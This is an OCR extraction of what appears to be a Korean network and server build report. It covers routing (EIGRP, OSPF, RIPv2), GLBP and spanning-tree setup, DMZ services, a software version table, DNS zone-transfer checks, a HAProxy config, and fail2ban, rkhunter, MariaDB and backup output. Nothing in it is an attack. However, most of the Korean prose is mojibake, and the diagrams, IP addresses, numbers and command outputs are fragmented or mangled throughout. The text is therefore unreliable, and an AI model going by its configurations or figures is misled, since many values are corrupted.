Dynamic
Dynamic
Dynamic
self

Dynamic
Dynamic

Eswi#l

QE{m o] 20 HAL|ORASZ

GLBP 11 8°| MACEA7} sl
29X 302 2cWHAMO| Itset

Hots
1081 JEOZ VGP( vip 10.1.4.254 )& 0| &3}
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= 2

EH

[

M

FN-002

ARl
To=

2025-08-11

HIOIXI

24 / 9

XA HEH3 8=

BR-R-0!
10.5.1.0

<1

BR-SW-03

N
10580724

9 \
WBR-R-03 N
10590/24\3 10.5.10.0 /24
10.5.9.0 /24\\ //10 5.10.0 /24 [_5_1_4 L0513 //
=1 BRR§\1§: swuz/ﬁssnl/zs
BR-R-04 ~——__ BR_SW-02
;i{ 10.5.3.131

£

nin
EIGRP 300

nint
EIGRP 300
10.5.0.0 /16

10.5.0.0 /16
DNS : s—core.it

10.5.0.0 /24
i.0.0 /16

. BR-R-01
i 10,5.1.0 /24 BR-SW-01

10.5.1.2
BR-SW-01

.t

1
/24

s
451:/24\

- 10.8.4.130 /25

10.5.1.2 /24

10.5.1.3 /24

BR-SW-06

8
Vlanlo
10.5.3.128 /25

10.5.3.130

¢
BR-SW-04

BR-SW-06 ER"JSW’OZ
3% IS, S e
BR—GW—08 BR-SW-05
Vlando
10.5.6.128 /25
oA Br-sw-07 51 BR-SW-07
Vian20 ‘ﬁgl Vlan3o 10.5.6.130 0.5.5.128 /25
10.5.4.128 /25 10.5.5.128 /25
J/ 10 5. 3 50 /25 1054, 1257

10.5.4.130 10.5.5.130 BR-ISCST

10.5.4.130 125 10.5.5.130 /25

B

\10.56.128 /25

BR-DB
10.5.6.130 /25

M A

2t 2E 7+ 2t

BR-R-01 2} EH £ pfSense WUt} AF

O E|O
T oo

=0 elFetel 4 M|

X|AtE 105.0.0/16 F£ CHYS A, EIGRP 30022 EAtQH= LCHE Autonomous Systeme AL
EIGRP 3002 &3l T+d&. Ct2o| 2tRE7F HZAE|0 redundancy && &

- 30 AKX F7F (BR-SW-04, SW-05, SW-07)2 PVST+ Z|dte2 REHEIX| 47F 2= (vlan 20,
30)
- BR-SW-02+ IDS(10.5.3.131) &H|Qt HZEZ|0f EoF DL|HE =
- NH #9Y2 03 VLANCZ 22[Z *AS (0l: DNS, DB, NFS, iSCSI &)
- DNS =09l s-core.it
7l g
EIGRP AS #H=z 300, MA 2t2H 7t 28 74, WEY E=2 35 =™
VLAN / InterVLAN VLAN 20, 30 § £2| 4 / BR-SW-04, 05, 07 2/X|E E3t InterVLAN
ner 2ol 14
VLAN 20, 300 C{sif RFEESIX| 473 (BR-SW-04, 05 FEEEIX| A
PVST+ st
T o
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21| BR-SW-04 s \ PVST+

AVIAY S
EIGRP 300
10.5.0.0 /16

| BR—R—01
0.5.1.0 /24

10.5.7.0 /24 1" k10580/24
BRROZé aERROB -

10.5.9.0 /2. .5.10.0 /24 0 5.1.4

24

10.5.1.3

Vla nZO\BR Sleoss 131 Vlan30

priority 4096 / \ priority 4096
BR—SW—0_ 3R—SW—-06

% BR—SW— 04 —Ea

BR SW—05
VlianloO
10.5.3.128 /25 Vlan40
10.5.6.128 /25

BR SW—07 =
Vlian20 Vlian30 10.5.6.130
10.5.4.128 /25/ 10.5.5.128 /25

10.5.3.130

10.5.4.130

orward Delay

FWD
FWD
FWD
FWD
FWD
FWD

Spanning tree
Root ID

20 Forward Delay

Interface
Name

w
(O RO N RV
DN W

= BR-SW-04 :VLAN 20 Root Bridgeil=
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SIX| BR-SW-04 2|= EIGGRP

; U - Update,
Status
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7] 4
SIX| BR-R-04 2|= EIGGRP

S summary, L1 - IS-IS level-1, L2 - IS-IS level
® andidate default, U - per-user static
o - 0D R. P - periedic downloaded static route

Gateway of last resort is not set

subnetted
7100167 v
710016] vi
710016] v
rectly
710016]
d1rect1v *

710016]
710016]
710016]
710016]
710016]
710016]
710016]
710016]
710016]
710016] v
074
710016]
7100161 v
844167
710016]
710016 ]
2;10016]

s et i

d#sh ip eigrp to
d#sh ip eigrp topology
GRP Topology Table for AS(300)

. ive, A - Active, U - Update, Q - Query, R - Reply,
r - reply Status, s Status

2> oHE 20| delay s HEOIN HHZZE AESHER =FoHL,
=]
—

= | o
ICHE AZ20| Zof 2 M-S [ Feasible Successor (FS) =S BHE3I0] WE HAZ Mz0| 74sd)
A
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2) DMZ

DMZ Y E{3 4T

107,30 /2410735724

DMZ
X EIGRP 200

DM-IDS
10.6.3.134 /26 \ wa 10.6.0.0 /16
T ., N5 6 505 e
| 10631801052]30 126 DM W ?I\DM—R—UZ
DM-DN§ [ priority 110 T,
10.6.3.130 /2 g!DM SW-03 ™
\ﬁimu’z/mu 126

10.6.3.0 /26 55

~Ha 10.6.3.128 /26
Toga i s 10.6.3.64 /26
DM*/‘W*OS

TOMZ e

&lGe 200
_ 10.6.0.0 /16
0 g
ow-swiTe

e
1063161 BB su-os
- MMl priority 100
™~ 10.6.3.132 /26 ﬂ"
) / DM-WebHard /13
2331247 10.6.3.133 /26 10 6. 4 129 126
Jiosa.

DM-SW-02

10 6. 4 130 /26
2nt
EIGRP 100

10.1.0.0/16  HQ-R-01 m

DNS : ha.it 2

HE A

DMZ= 10.6.0.0/16 & HHES ALESID, EIGRP 2002 &dff 2t &

Qo AZ2 pfSense LtHES S O|FOIX|H, LHELO| 2 HQRl 2tRH 7+ AEES
S +d

GLBP 7|Hto| AO|EQO| O|&F%t T4

DM-SW-03 (24#2| 120), DM-SW-05 (110), DM-SW-04 (100)

DM-SW-050] IDS &H[(10.6.3.134) HZE|0f Efd 2L EE

DMO& o2 20t 8 Q8 MHIAE 2|3t MH (Web, Mail, HAProxy, DNS &)7} 24t HiX|&
DNS =0 Q!: core.it

7l e
EIGRP AS H3z 2001 AtE, DMZ 2t2H 7t 228 Z2EFE 71y
VIP: 10.6.3.180/26 / DM-SW-03(120), SW-05(110), SW-04(100) 2 ==¢|
GLBP .
= O
VLAN VLANE ME3} gio] Bt MIMHE (10.6.3.0/26 5) AF235I0] EQ FhH|

9 A ez

ASA / IDS / IPS pfSenseE S¢t 2F A= A 2ot ¥ 473
M-

IDS(10.6.3.134)= SW-0

(9)]
=2
e
Y
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$1%] DM-SW-5 7l& GLBP

DMZ
EIGRP 200
10.6.0.0 /16

©) 10.62.130 /28— DM-R-02
] 1006.3.134 DM_SW_MRB /26

DM-SW-03

— / 10.6. 2 10.62,0 /26
o GLBP DM-R-01

10.6.3.131 VIP: 10.6.3.190 /26 a/
—WN 10.6.1.128 /25 1062.0/25 )
WDM SW-04

1063132 =<
M-R-03
10.6.3.133 10.6.4.129 /26

D

DM-SW-02

IPv6 zone
2001::/64

HQ~DM—-AR2-ASAN(L

192.168.203.233 /24
10.5.7.

JEiR

Dynamic
Dynamic

Dynam1

Esw2#ll

32740] GLBP MAC %4 AZEl0] 9139 &9l
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s 7+
ol %| DMZ-R1 7|& EIGPR Afj&

g

b b b b ek b b

r
1
1

S>DMZ oAM= &

T, E2
summary
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R E R PIEA TE | wow —p

BHTS YEYA THE

vlan 10

0.7.1.0 /24
M ey
MN-MRTG _gw-d{" OSPF1AREA1
10.7.1.2 /24 145 90 10.7.0.0 /16
MN-Monitorix 10.7.2.0 /24 DNS : s—core.it
10.7.2.2 /24 .7.0.
52
MN-ELK %\@ - |
107.3.2 /24 7
73 ~ MN w 03

Vlanlo
10.7.1.0 /24 ‘Wl
MN-SW—01% Tl 7

V1an20 | OSPF 1 AREA 1
10.7.2.0 /24

10.7.1.2

Mn—m

0.7.3.4/24 vian 50 "
0.7.3.0 /24 10.7.3.5 /24

EIGRP 200 DMZ

10.6.0.0 /16 — EIGRP 200
- ... 10.6.0.0/16
Mg Arg
- BHFYE2 10.7.0.0/16 A CHHES ALE3ID, OSPF 1 AREA 1 42 Sl 228 =
- EFXIA‘IEH(MRTG Monitorix, ELK, SOAR §)7} Z+Zt9| VLANO| 24tz =R, 2 VIAN ZH &
AL nterVLAN ZIREICZ M=
- MN-R-01 2H*H & pfSense Lot ut ASEO ASH, A0 S4E A
- MN-SW-030] **IDS &H|[(10.7.3.5)**7} AZAL|0| EQt Egfjm 2A 3l
- VLAN 2&2 S 2otda e a8 2kE:
- VLAN 10: 10.7.1.0/24 (MRTG 5)
- VLAN 20: 10.7.2.0/24 (ELK, DB &)
- VLAN 30: 10.7.3.0/24 (SOAR 5)
- VLAN 40: Rspan O/ & 3|M
7l e
OSPF OSPF Area 1 74 / W7 2t2E =¥ / 2t?H 7t 2F ¥4
VLAN VLAN 10, 20, 3022 E2|E|/0] oM, SW-01~030 A FAM=
LAl #2h EZES Sw-0301A IDS(10.7.3.52 DS 2AE 5
RSPAN JEE
IDS A|AE(10.7.3.5)0] MN-SW-030] Z& AHAZA|O o
IDS / IPS ( ) e e ~

A Efgs 2UHF
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SIX| Area 1 2|= RSPAN

Switch#sh vlan remote-span

Remote SPAN VLANs

Switch#sh monitor session 1
Session 1

: Remote Destination Session

40
Destination Ports
Encapsulation

G111,
Active

Switch#debug 1p packet
IP packet debugging is on
Switch#

17:56:38.730: IP: s=10.7.
forus FALSE, sendself FAL
17:56:38.731: IP: s=10.7.
17:56:38.731: IP: s=10.7.

17:56:38.732: IP: s=10.7.

, forus FALSE, sendself FALS
17:56:38.733: IP: tableic
:56: IP: 7.

IP:
IP:

: : 5=10.7.
sendself FAL

IP:
IP:

s= i
s=10.7.

:38.754: IP: s=10.7.
, forus FALSE, sendself FALSE,
*Aug 10 17:56:38.755: IP: tableid=0,

(Viand0),

mtu @, fwdchk FA
(Vlan40), d=10.7.
(Vland40), d=10.7.

(local), d=10.7.
mtu 0, fwdchk FALSE
s=10.7.
(local), d=
(local), d=
(Vlian40), d=

mtu 0, fwdchk
(Vlan40), d=
(Vlian40), d=10.7

(local), d=10.7.

(local), d=10.7.

, len 100, input feature, MCI Check(109), r
, len 100, rcvd 2
, Len 100, stop process pak for forus packe
, Len 100, local feature, Auth Proxy(16), rt
(Vlan40), routed via FIB
(Vlan40), len 100, sending
(vian40), len 100, sending full packet
, len 100, 1input feature, MCI Check(109), r

, len 100, rcvd 2
, len 100, stop process pak for forus packe
rt

len 100, local feature, Auth Proxy(16),

mtu 0, fwdchk FALSE

(local), d=10.7.

(Vlan40), routed via FIB

= Vlan 408

s=10.7.
Eoig X =l
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w) HelAL

"M HEYT FYE

1PV6 zone 2
2010::/64

O\ 20010:1/64
> L:2005:1/64

“R-02
10.8.129.128 /25 PTTSW-O0L PT-NFS
@ - 7 10.8.129.130 /25

=0t

PT-R-02
10.8.129.128 /25 PT~SW-01

10.8.129.130 Lk RIPv2
_ e

ﬁ G 10.8.2.0 /25 Pr—sW—02 10.8.0.0 /16

// DNS : s—core.it
10.8.2.0 /25
10.8.3.128 /25 =
10.8.0.0 /16 orosu_o1 wge % = 10.8.3.130 /25
—BR{-R-01 10.8.3.128 /- @ 10.8.3.130 @ i 2 ~
/10.8.3.0 /25 i@ ————— 2"@{} ¢ i 1/10.8.3 131 /25

PT-R-03

W o
Joe'lioi/u\é /loaz 131
10840/%\ 10“131

JA/ = 1084130
To0i4.120 /25 /)_/

E — & 1084132

@ 8.4.131 /25
1064128 B~_p1- sv/ M 8.4.132/25

10 8.4.130 /25

Area 4
10.4.0.0 /16

0.0 /16

nin

EIGRP 300
10.5.0.0 /16
DNS : s—core.it

M5 Arg

- YA HES S = 108.00/16 CHYS ALESHH, HE E2tREY ZEEZZ= RIPv27F 8 E

- PT-R-01 ~ PT-R-04 2t2H 7t RIP 42 YE7} nte|D, /25 MUl Ef°|§ =2 23 E

- RIP & 29% 7|58 AMESH, NFS ME{ZF 2X|5t 10.8.129.0/25 HEE HLSt LIHA| HELR
ELE xot |.04

- NFS CH<(10.8.129.0/25) 2

- EDH offset-listE &3l 10.8.129.0/25 CHHC| RIP hop countE 1622

- — RIPOIA hop count 162 =F 27ts(Unreachable)2 QIAE|BZE, &

2 gt
RIP 29 CHAOIAM HElc2N Q8 2t2H =
43

HOIX| A M2l E

X %S
- 89 + offset-list ZYTUCE NFS HEYJIAE REERH 24 R 2 AL N
- PT-SW-020 HZEl IDS(10.84.131) 2 Sl HIERI Eig LAl =¥
- DNS =022 s-coreitZ FHEO AS
7= L&
AHe| #E 7|8t 2t 8 / 10.8.0.0/16 7|8 Y / F7|1H Z=2 &1
RIPv2 Fa FUZ MBS0 Fa HEYAT 2[R0 &1, NFS Y2 H 2
offset-listE &3l 10.8.129.0/25 LHE 2| hop countE 1622 M7HSIO| KLt
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7|18 +9
1% PT-R-01 2|= TSHY / offset-list

Tunnel

Tunne

UMUUO,

dong#]

L Dl#ah run | sec acc

3 permit 10.8

P -R- Dl#ah run | include
PT-R-01#sh run | include

PT-R-01#sh run | include
PT-R-81#sh run | include

off
off

offset
offset

8 8.6.127.255

offset-1list 18 out 16 FastEthernet8/e

offset-1list 10 out 16 FastEthernetf/g

PT-R-01#]
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A) IPv6 zone

IPv6 zone Y EST THE

EURE

o
w4y OSPFLAREA1
1PV6 zone 2 10.7.0.0 /16 _
2010::/64 DNS : s—core.it
m ey -2,
3PF 1 AREA 1 CO-R-01 e H
1.7.0.0 /16 =2 g
PT§-02 -2‘ ~ [\/ COWAR2-R-0 =
10.7.0.0 /24 Core . =<V 5—AR2<R—0
10.0.0.0 /16 ’W /,
co*ARz’R CO-AR2-R-02 AR2-AR:
m

REFARZ-RZ01_ \
o ek
\/ -Area 2
IPv6zone |\ 10.2.0.0 /16_E
~ 2001:/R4 ™ A

Area

- ipvall BF ALZ|z2 YREFLS ipveE AHESHE Y2 T4
- & 7O ipveE A0 £ ipv4E £
= ‘tsstA s

=
SOt ipveE O|0|FE 7|&=9Q 6tod4E Al

=2
[S)

At

otof

0
fot

7= L&
IPv6 2010:/64 S 2001:/64 YEYZ Y S ALESHH RIPng 7|8 T+
6to4 IPv4 WEZ HOIM IPve EfEES HMESH7| 9ot HEE +4
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6to4

1deoh,

route
- Default - 7 entries
cted, L - Local, 5 - Static, U - Per-user Static route
M - MIPv6, R - RIP, I1 - ISIS L1
: S L2, ISIS interarea, IS - ISIS summary, D - EIGRP
EX - EIGRP e
0 - OSPF Intra, 0I - OSPF Inter, OEl1 - OSPF ext 1, OE2 - OSPF ext 2
ON1 - OSPF NSSA ext 1, ON2 - OSPF NSSA ext 2
4 [B/0]
tEf , directly

, receive
:/64 [1/8
unnel directly
t"‘i [
directly
0]

receive

directly

tun
tunnel
tunnel
tunnel source
tunnel destinat
tunnel
IP6-A
IP6-A
IP6-AR2

Sending 5, 100-byte ICMP Echos to 2018::1, timeout 1s 2 seconds:

i rate is 188 percent (5/5), round-trip min/avg/max = 64/89/100 ms
IP6-AR2-R-01#]
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3. MH 35 ZAx}
7l My A
a) N SEL
HY SEE
Core
ot
|
. =i
T
MH|ATH L&
- - IDS, IPS RuleSet M0 2235t HEE DB M%
- Master - Slave +Z0°| 7|4 2H2 Sdll DB 24K 2| A
DNS - DNS Master - Slave #+XE 17I12M =&
ELK - MH Health 2LHZ S A &X| 2 XEH 23 =&
- ZY3E 208 Sl SOAR &2FM 7o
- AMHE 2702 24 #5310 RoundRobin HAICZ2 29
HA Proxy ol A Lo o
- H AERK|E HE ‘_rl='1‘°|'0:| NFSE Solf 22|
Backup -DB % F8 MHA MFZL #HAS E3} MMM =
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L) M 7ME

MH| 78

2nt =0

core.it 1PV6 zone 2
ey RPng
v OSPF 1 AREA 1 ont ope
10.7.1.2 /24 N MoRTEoET 10.7.0.0 /16 core.it
MN-ELK Rocky PT-NFS
10.7.2.2 /24 @—B—
Qe 7 10.8.:2.130 /25

Rocky

10.7.3.2 /24
MN-DB
Ubuntu
10.7.3.3 /24 MN-SOAR

Rocky
bmz =
EIGRP 200
10.6.0.0 /16

@ . 108313078

10.8.3.131 /25

10.8.4.131 /25

20 EH!
s—core.it

IPV6 zone

Rocky
10.6.2.130 /26

DM-DNS
Ubuntu
10.6.3.130:26

20t =0t

DM-HAproxy
R
core.it

cky
10.6.3.131 /26

nint
EIGRP 300

DM-Matl 10.5.0.0 /16
Ubuntu
3 o
10.6.3.132 /26 d roh
DM-WebHard mst
Ubuntu 10.5.1.2 /24
10.6.3.133 /26 DM-Web2
Rocky
10.6.4.130 /26
EIGRP 100 (d 10.5.1.4 /24 BR-search
—_— 10.1.0.0 /16 - mst
2nt sojet @] & ™ 10513 /24

s—ha.it

10.5.3.4 /24

HQ-1D§

10.1.4.232 /25

— . [ HQ-DNS
Ubuntu
10.1.4.134 /25,

BR-NFS

Ubuntu
© 10.5.3.130 /25

HQ-Mail

Rocky
10.1.4.133 /25

HQ-Backup
Rocky
0.1.4.130 /25 HQ-1SCST

HQ-DB Ubuntu -

ta-op 1014152 25 Rooky o sest
Windows Server

10.1.4.131 /25 10.5.4.150 25 10.5.5.130 /25

_—
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c) M Hg
(i) 2BHH HE
(O} Version H|
Rocky Rocky Linux 9.6(Blue Onyx) R
Ubuntu Ubuntu 24.04.2 LTS U
Windows Windows Server 2022 W
Security Onion securityonion-16.04.7.3 S
pfsence pfSense-CE-2.7.2 P
ESXi ESXi-6.7.0-20190504001-standard-customized -
Xen XenServer8_2024-06-03 -
VMWorkStation 17.6.2 build-24409262 -
(ii) M2 Df7|X] HE
Service 0S Version Hl 1
SSH Rocky9.5 openssh-8.7p1-45.el9.rocky.0.1.x86_64
Ubuntu24.04 openssh-server 1:9.6p1-3ubuntu13.12
DNS Rocky9.5 bind-9.16.23-31.el9_6.x86_64
Ubuntu24.04 2024071801 ~ubuntu0.24.04.1
NES Rocky9.5 nfs-utils-2.5.4-34.el9.x86_64
Ubuntu24.04 2.6.4-3ubuntu5.1
iSCSI Ubuntu24.04 2.1.9-3ubuntu5.4 -
Rocky9.5 httpd-2.4.62-4.e19.x86_64
Apache }
Ubuntu24.04 2.4.58-1Tubuntu8.7
NginX Rocky9.5 nginx-1.20.1-22.el9_6.3.x86_64
Ubuntu24.04 wordpress-6.8.1
WordPress -
Rocky9.5 wordpress-6.8.1
HA Proxy Rocky9.5 haproxy-2.4.22-4.e19.x86_64
Rocky9.5 dio 4.4.14
Pydio Yy py ! )
Ubuntu24.04 pydio 4.4.14
. Rocky9.5 mariadb-server-10.5.27-1.el9_5.0.2.x86_64
MariaDB i,
Ubuntu24.04 1:10.11.13-0ubuntu0.24.04.1
Rocky9.5 hpMyAdmin-5.2.2-1.el9.remi.noarch
phpMyAdmin Y PhPYY N
Ubuntu24.04 4:52.1+dfsg-3
Monitorix Rocky9.5 monitorix-3.16.0-1.el9.noarch -
Rocky9.5 cacti-1.2.30-2.el9.noarch
CACTI -
Ubuntu24.04 1.2.26+ds1-Tubuntu0.1
MRTG Rocky9.5 mrtg-2.17.7-11.el9.x86_64
ELASTIC Rocky9.5 elasticsearch-8.18.3-1.x86_64
Rocky9.5 roundcubemail-1.6.11
ROUNDCUBE . :
Ubuntu24.04 pydio-cells-4.4.15-linux-amdé4
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Lh) M 28
1) DNS
Master DNS
1% AL DMZ ZHd| HQ-DNS / DM-DNS

enabled)

temd [1] it named. BIND Domsin Mame
nl [1] te i BIND Domain M:

[rootPlocalhost ~1# dig P18.6. s-core. it AXFR

3 <<>> DiG 9.16.23-RH <<>> B18.6. s-core.it AXFR
(1 server found)
:: global options: +cmd
s-—core.it. 864808 .s—core.it. s-core.s-—core.it. 28258886 86488 3688 684888 28308
s-core.it. 86480 .s—core.it.
s-core.it. 86488 .6,
s-—core.it. 864808
br-db.s-core.it. 86488
br-dns.s-core.it. 86488
br-iscsi.s-core.it. 864808
br-nfs.s-core.it. 86488
br-search.s-core.it. 86488
br-web.s-core.it. 86488
mn-cacti.s-core.it. 86488
mn-db.s-core.it. 86488
mn-elk.s-core.it. 86488
mn-monitorix.s-core.it. 86488
mn-mrtg.s-core.it. 864808
mn-soar .s-core.it. 86488
ns.s—core.it. 864808
pt-nfs.s-core.it. 864808
s-core.it. 86488
i Query time: 62 msec
SERVER: 18.6. #53018.6. )
WHEN: Fri Aug B8 26:84:22 KST 2825
XFR size: 19 records (messages 1, bytes 534)

5
5
5
5
5
5
7.
e
7
7
7
7
6
8
=5

LTXI>2TFTTIITTTTTD>ITD

—core.it. s—core.s-core.it. 28258000 00488 3088 OH4008 20080

cllent @Uk;c;c;doﬁdzbs #34003: request is not signed
88-Aug- 2@2“ % . : ;' d 3: client @Ox7c7c740642b8 #34003: recursion available
08-Aug-2025 104:22.876 queri client @Ox7c7c740642b8 . #34003 (s-core.it): query -core.it IN
1
22.876 security: debug 3: client @0x7c7c740642b8 #34003 (s-core.it): zone transfer
FR,IN' approved
g .876 xfer-out: in client @@x7c7c740642bs .5 #34003 (s-core.it): transfer of
e. it;IN' AﬁFR started (serial 28258886)
§ .876 xfer-out: debug 1: client @Ox7c7c740642b8 | $34003 (s-core.it): transfer of
rting maxtime timer 7200000 ms
p4:22. info: client @@x7c7c740642b8 ] 3400: ; it): transfer of 's-cor
e.1t/IN' AﬁFR :nded: »ssages, 19 records, 534 bytes, 0.001 secs ( byte ) 1 28258886)
5 11:4 .877 security: debug 3: client @x7c7c740642b8 : : reset client
:22.938 security: debug 3: client @Ox7c7c740642b8 #34003: free1ng “client
08-Aug-2025 11:04: 38 client: debug 3: clientmgr @x7c7c7c032el10 detach: 15

DNS #Hz2| =9l 2 Master-Slave Zone It M
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L) web A{H
1718 Web Server
uk DMZ | DM-Haproxy / DM-Web1 /
DM-Web2

ited, status=0/8

.localdomain : haproxy.s

localdomain haproxy : [NOTI
.localdomain haproxy
.localdomain

localdomain

localdomain
.localdomain syste ing HAProxy Load B .

.localdomain haproxy ICE] (179712) : New worker #1 (179714) forked

.localdomain systemd[1]|: Started HAProxy Load Balancer.

el et el et

frontend https_front
bind #*:443 ssl crt /fetc/haproxy/certs/haproxy.pem
mode http
option forwardfor
default_backend wp_servers

backend wp_servers
mode http
balance roundrobin
rver webl dm-webl.core.it:443 ssl verify required ca-file Jetc/pki/cajcerts/ca.crt check
rver web2 dm-web2.core. it:44: 1 verify required ca-file /fetc/pk ‘certs/ca.crt check
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=) Webhard
Web Hard (Pydio )
SIX| DMZ | DM-WebHard
€ c o https;//dm-webhard.core.it:8080/welcome B % @ =2 chome Mg 7tE
e 13
= pPYydics
i cells
hx¢
(] ] @ @
@ @ ] ]
fal
8]

28
Za
28
28
28
28
28
28
Z8
28
28
Za

:39:
:39:
:39:
:39:
:39:
:39:
:39:
:39:
:39:
:39:
:39:
139:

13,736
13,741
13,741
13,742
13,742
13,743
13,756
13,756
13,756
13,756
13,756

28
8
8

:39:
139
:39

13,757
124,385
128,393
28:39:32,600
£8:39:32,992
[root@localhost ™ 1% _

ME & AR X

failZban.
failZban.
failZban.
failZban.
failZban.
failZban.
failZban.
failZban.
failZban.
failZban.
failZban.
failZban.

failZban.
failZban.
failZban.
failZban.
failZban.

SErver
observer
database
jail
jail
Jail
filter
filter
filter
actions
filter
filter

jail
filter
filter
filter
actions

[1176894]1:
[117894]:
[1176894]1:
[1176894]1:
[117894]:
[1176894]1:
[1176894]1:
[117894]:
[117894]:
[1176894]1:
[117894]1:
[117894]:

[117894]1:
[117894]:
[1176894]1:
[1176894]1:
[117894]:

INFO
INFO
INFO
INFO
INFO
INFO
INFO
INFO
INFO
INFO
INFO
INFO

INFD
INFO
INFD
INFD
NOTICE

Starting FailZban v1.1.8
Obzerver start...
Connected to failZban persistent database '~svarslib-f4
Creating new jail 'sshd'
Jail 'sshd' uses poller {3}
Initiated 'polling' backend

maxLines: 1

maxRetry: 3

findtime: 188

banTime: 31557688 .8

encoding: UTF-8
Added logfile: 'svarslogssecure’ (pos = 35838, hash

Jail 'sshd' started
[sshd] Found 18.1
[sshd] Found 18.1
[sshd] Found 18.1
[sshd] Ban 18.1

- 2825-88-18 28:39:23
- Z2825-88-18 208:39:27
- Z825-88-18 20:39:32




FN-002

2025-08-11

43 / 91

2) DBMS

MariaDB Server

L]

HQ-DB

systemctl status mariadb
ariaDB 18.5 database server
mariadb.s preset: disabled)
s ago

d 1 xite
3 db-prepare-db-dir mariadb.
1196 ExecStartPos ibexec/mariadb-check-upgrade (code=
947 (mariadbd)
"Taking your SQL requests now..."
14 (

been rotated since unit was started, output may be incomplete.

1 row in set (8.889 sec)

1
State
Host :
u. :
Port: 3386
A

mysq 1-bin.BBARA1
328

Read_Master_Log
Relay_Log
Relay_Log_Pos: 4
1 ile 11

mariadb-relay-bin.088001

Relay_Ma HeBAA1

Replicate_Do_D
Replicate_Ignore_D

Parallel_M
|- -More-]

A A

MariaDB replication 273
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o) Storage
Web Storage A{H{
X K| A | BR-NFS

systemctl reload gssproxy ;

ubtree check,no_root_squash)

btree che

it ~]# cd /nfsclient/
client]# 1s
chtml
tivate.php

L=

o
e~

v oo
(] ¥
=

L= — R

Jboot
Jrunfuser/0
/nfsclient
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Mail Server

2% =4} Ayl

o

HQ-Mail

« G AF22%  dm-mailcoreit/?_task=maildl_action=compose& id=10223734286895cdc0: o % @ Amechomess s
a ¢ R R ]
My ww 88
S AR amail <amail @localhost> s 2
e A blue@dm-mail core.t X =+
LES
(]
EELVES
D% F AME 2o FoE BH ZNE MRl 29 mDHE HEHUC
WE HE5HAID F3H A SloAlS Y 2EEHLUCH
abeC
EEES
s e o
< 25 s
S HAIKS O X0l HE *
M Eofl M 27
« G AF22¥ dm-mailcoreit/?_task=mailé_mbox=INBOX o % @  4mEchomens s
blue@localhost H = & H - L
s e Ay wEy | ww S EN o
ol F Fobd B Aot MEtcL|ct
-amail@localhost:
i Algl amail <amail@localhost>, &5 2025-08-08 19:16
o Ol  Flot WA 0t HRHEEILICH

= R @

erasiM e,
0IF F RHE 2o FoE

M EDE Melst P EDME HEHUC

rkhunter Daily Run on Lo ost.localdomain
il Returned to Sender
Run on 1 1h -loc
Run on -loc

on st . localdomain

-localdomain
mt . it>

Rootkit Hunter uUpdate
1

h
_utfs

E 1
E 1
E 1
E 1
E 1
E 1
E 1
E 1
C a1
E 1
C 1
E 1

---- Start Rootkit Hunter Scan

The file properties hawe changed:
L susrysbinscurl

srrent inode 34141672 Stored inod

The file properties ve changed

File: susrs/binswhich

urrent inode = Stored inode: 33811572

The H and rkhunter configuration coptior hould be the
H configuration option 'PermitReootLogin' .
hunter configuration option 'ALLOW _ROOT_|

End Rootkit Hunter
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A) WA MH
Backup Server
X =At 2| HQ-Backup

Fa My Mul2 2%

X%
of
02
ot

mariadb.log-20250810

ost backuplogl# ls ./haproxylog/
ost backuplogl# 1s ./maillog/

ost backuplogl# 1s ./monitorixleg/
ost backuplogl# 1s ./waslog/

kuplogl# ls ./webhardlog/
810 error _log error log-20250818 ssl _access_log ssl _error log ssl_reguest_log

[root@localhost backupconfl# pwd
/backup/backupcont
[root@localhost backupconf]# 1s
total 68
-rW-r--r--.
—IW-F--IF--.
-rW-r--r--.
-rW-r--r--.

root 106 5E 140 core.it.zone
root root 24 ) 130 haproxy.cfg
root root 36419 5 14:: monitorix.conf
named named 911 ) 15:56 s-core.it.zone
1 root root 18850 5 14:41 snmpd.conf

1
1
1
1

# LG
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ELK

SR N[ | MN-ELK

Rocky Linux 9.6 (Blue Onyx)
Kernel 5.14.8-578.28.1.e19_6.x86_64 on xBb_64

localhost login: [ 22.3863131 block dm-B: the capability attribute has been deprecated.
[ 22.5378811 block numeBnl: Mo UUID available providing old NGUID

localhost login
localhost login: root
asPassword:
Last login: Fri Aug & 19:28:18 from 168.1
sylroot@localhost ~1# systemctl status kibana
s kibana.service - Kibana
Loaded: loaded (- usr~lib-systemdssystem<kibana.service; enabled; preset:
Active: active (rumming) since Mon ZB25-B8-11 B8:29:47 KST: 1min 1B8s ago
Docs: https:/-wmi.elastic.co
Main PID: 1865 (node)
11 (limit: 48682)
: 6599.8M4
28.573s
CGroup: rssystem.sliceskibana.service
L1865 ~usrsshare<kibanasbin/. . nodesglibc-217/bin node rusrr/shareskibanasbin/.. srcselisdist

18 BB:29:47 localhost.localdomain systemd[11: Started Kibana

18 88:38:81 localhost.localdomain kibanal18651: . info","Btimestamp”: "2825-88-18T23:30:81.4182", "log .. logger " : "elastic-apm-—node", "ecs.version

18 B8:38:83 localhost.localdomain kibanal18651: Native global console methods have been overridden in production environment.

18 BB:38:24 localhost.localdomain kibanal1865 [2625-88-11TAB:38:24.643+@9:BA1LINFO 1lroot] Kibana is starting

18 88:38: localhost . localdomain kibanal1865 [2625-88-11TAB:38:24.715+@9:BA1LINFO 1Inodel Kibana process configured with roles: [background_tasks, uil

18 88:38: localhost . localdomain kibanal1865 [2625-88-11TAB:38:48.187+89:881[INFO 1lplugins-servicel The following plugins are disabled: “"cloudChat,cloul
B8:38: localhost . localdomain kibanal 1865 [26825-88-11T88:38:48.183+89:881LINFO 1[http.server.Preboot] http server rumning at http:--18.1 15681
B8:38: localhost . localdomain kibanal 1865 [26825-88-11T88:38:48.353+89:@81LINFO 1lplugins-system.preboot] Setting up [11 plugins: [interactiveSetupl
a8 localhost . localdomain kibanal 1865 [2625-88-11TA6:30:46.424+89:08 1 [WARN 1lconf ig.deprecation] TLS is not enabled, or the HTTP protocol is set

Kibana =%t

B as id names =0 M Auointerval v Nobreakdown

 Avaiable fieide El

Documents (32.011)  Field statistios T 1 Q= o= @

@timesta

honeral_id df

© agent.version 6.6

version 6.2.0 host.architecture

5a2-962: agent.name changrco agent.type T
host.nac " 26-84-56-48] host
Log. file.dovice_

41244064 .
host. hostnane changnoa host. id 3
host.oc.name Rocky Linus host.os.platfora rocky

Tog.file.inode

44,054 agent.epheneral_id

6:41:04.064

gent.version 5.18.3 ecs.
host. os.codenane 81ue Onyx ho

input.type

etinestamp A
4 host.containerized

00 agent. id

hug 9, 2625 € 06:41:44.06¢  etimestamp
4 host.containerized host.aac -
£0-570.23.1 ean log.file.device.

6:41:44.064

host. hostnane. changnoa host. id 3
host.oc.name Rocky Linus host.o.platfora rocky

type Lunux host.os.version 9

etinestanp Aug
